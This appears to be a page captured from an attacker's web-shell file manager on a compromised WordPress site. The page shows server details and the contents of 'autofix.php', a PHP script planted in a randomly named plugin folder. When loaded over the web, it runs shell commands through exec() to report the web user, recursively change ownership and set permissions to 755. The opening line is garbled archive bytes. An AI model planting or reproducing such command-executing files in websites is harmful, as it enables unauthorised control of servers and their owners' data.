PK œqhYξΆJ‚ίFίF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ruvimbofunco/www/wp-content/plugins/a9e555998c367999483dda8fd5a99737/
Server: Linux red.truehostdns.com 4.18.0-553.150.1.el8_10.x86_64 #1 SMP Fri Jul 31 15:23:31 EDT 2026 x86_64
IP: 51.161.15.103
Choose File :

Url:
Dir : /home/ruvimbofunco/www/wp-content/plugins/a9e555998c367999483dda8fd5a99737/autofix.php

<?php

 /* 9H8vh49BVg7PKfA */ ?>
<?php

$target_dir = __DIR__; 


function runCommand($cmd, &$output = null) {
    $output = [];
    $return = 0;
    exec($cmd . " 2>&1", $output, $return);
    return $return;
}

$owner_info = [];
$group_info = [];
runCommand("ls -ld " . escapeshellarg($target_dir), $ls_ld_output);
$ls_line = $ls_ld_output[0] ?? '';
$parts = preg_split('/\s+/', $ls_line);
if (count($parts) >= 4) {
    $current_user = $parts[2];
    $current_group = $parts[3];
} else {
    
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $uid = fileowner($target_dir);
        $gid = filegroup($target_dir);
        $user_arr = posix_getpwuid($uid);
        $group_arr = posix_getgrgid($gid);
        $current_user = $user_arr['name'] ?? 'unknown';
        $current_group = $group_arr['name'] ?? 'unknown';
    } else {
        $current_user = 'unknown';
        $current_group = 'unknown';
    }
}


$exec_user = trim(exec('whoami'));
$exec_group = trim(exec('id -gn'));

echo "<pre>";
echo "========================================\n";
echo "  AUTO FIX PERMISSIONS\n";
echo "========================================\n";
echo "Target Directory : $target_dir\n";
echo "Current Owner    : $current_user\n";
echo "Current Group    : $current_group\n";
echo "Web Server User  : $exec_user\n";
echo "Web Server Group : $exec_group\n\n";

$chown_user = $current_user;
$chown_group = $current_group;

echo "Akan mengubah kepemilikan menjadi: $chown_user:$chown_group\n";
echo "========================================\n\n";


echo "πŸ“ Listing direktori SEBELUM perubahan:\n";
runCommand("ls -la " . escapeshellarg($target_dir), $ls_output);
echo implode("\n", $ls_output) . "\n\n";


echo "πŸ”„ Mengubah kepemilikan (chown -R $chown_user:$chown_group)...\n";
$cmd_chown = "chown -R " . escapeshellarg($chown_user . ':' . $chown_group) . " " . escapeshellarg($target_dir);
$return_chown = runCommand($cmd_chown, $chown_out);
if ($return_chown === 0) {
    echo "βœ… chown berhasil.\n";
} else {
    echo "❌ chown gagal. Error:\n" . implode("\n", $chown_out) . "\n";
}


echo "\nπŸ”„ Mengubah izin (chmod -R 755)...\n";
$cmd_chmod = "chmod -R 755 " . escapeshellarg($target_dir);
$return_chmod = runCommand($cmd_chmod, $chmod_out);
if ($return_chmod === 0) {
    echo "βœ… chmod berhasil.\n";
} else {
    echo "❌ chmod gagal. Error:\n" . implode("\n", $chmod_out) . "\n";
}


echo "\nπŸ“ Listing direktori SESUDAH perubahan:\n";
runCommand("ls -la " . escapeshellarg($target_dir), $ls_output_after);
echo implode("\n", $ls_output_after) . "\n";

echo "\n========================================\n";
echo "Selesai.\n";
echo "</pre>";
?>